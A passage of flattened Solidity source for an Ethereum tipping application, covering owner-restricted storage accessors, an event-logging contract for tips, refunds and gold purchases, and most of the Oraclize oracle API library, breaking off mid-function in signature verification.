function getUserUsername(address _address) public constant onlyOwners returns (bytes32) {
return users[_address].username;
}
function getTip(address _from, bytes32 _to) public constant onlyOwners returns (uint) {
return tips[_from][_to];
}
function getLastTipTime(address _from, bytes32 _to) public constant onlyOwners returns (uint) {
return lastTip[_from][_to];
}
function setQueryIdForAddress(bytes32 _queryId, address _address) public onlyOwners {
queryToAddress[_queryId] = _address;
}
function setBalanceForUser(bytes32 _username, uint _balance) public onlyOwners {
balances[_username] = _balance;
}
function setUsernameForAddress(bytes32 _username, address _address) public onlyOwners {
usernameToAddress[_username] = _address;
}
function setVerified(address _address) public onlyOwners {
users[_address].verified = true;
}
function addTip(address _from, bytes32 _to, uint _tip) public onlyOwners {
tips[_from][_to] += _tip;
balances[_to] += _tip;
lastTip[_from][_to] = now;
}
function addUser(address _address, bytes32 _username) public onlyOwners {
users[_address] = User({
username: _username,
verified: false
});
}
function removeTip(address _from, bytes32 _to) public onlyOwners {
balances[_to] -= tips[_from][_to];
tips[_from][_to] = 0;
}
function addOwner(address _address) public onlyOwners {
owners[_address] = true;
}
function removeOwner(address _address) public onlyOwners {
owners[_address] = false;
}
}
pragma solidity ^0.4.17;
contract ExtendEvents {
event LogQuery(bytes32 query, address userAddress);
event LogBalance(uint balance);
event LogNeededBalance(uint balance);
event CreatedUser(bytes32 username);
event UsernameDoesNotMatch(bytes32 username, bytes32 neededUsername);
event VerifiedUser(bytes32 username);
event UserTipped(address from, bytes32 indexed username, uint val);
event WithdrawSuccessful(bytes32 username);
event CheckAddressVerified(address userAddress);
event RefundSuccessful(address from, bytes32 username);
event GoldBought(uint price, address from, bytes32 to, string months, string priceUsd, string commentId, string nonce, string signature);
mapping(address => bool) owners;
modifier onlyOwners() {
require(owners[msg.sender]);
_;
}
function ExtendEvents() {
owners[msg.sender] = true;
}
function addOwner(address _address) onlyOwners {
owners[_address] = true;
}
function removeOwner(address _address) onlyOwners {
owners[_address] = false;
}
function goldBought(uint _price,
address _from,
bytes32 _to,
string _months,
string _priceUsd,
string _commentId,
string _nonce,
string _signature) onlyOwners {
GoldBought(_price, _from, _to, _months, _priceUsd, _commentId, _nonce, _signature);
}
function createdUser(bytes32 _username) onlyOwners {
CreatedUser(_username);
}
function refundSuccessful(address _from, bytes32 _username) onlyOwners {
RefundSuccessful(_from, _username);
}
function usernameDoesNotMatch(bytes32 _username, bytes32 _neededUsername) onlyOwners {
UsernameDoesNotMatch(_username, _neededUsername);
}
function verifiedUser(bytes32 _username) onlyOwners {
VerifiedUser(_username);
}
function userTipped(address _from, bytes32 _username, uint _val) onlyOwners {
UserTipped(_from, _username, _val);
}
function withdrawSuccessful(bytes32 _username) onlyOwners {
WithdrawSuccessful(_username);
}
function logQuery(bytes32 _query, address _userAddress) onlyOwners {
LogQuery(_query, _userAddress);
}
function logBalance(uint _balance) onlyOwners {
LogBalance(_balance);
}
function logNeededBalance(uint _balance) onlyOwners {
LogNeededBalance(_balance);
}
}
pragma solidity ^0.4.17;
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
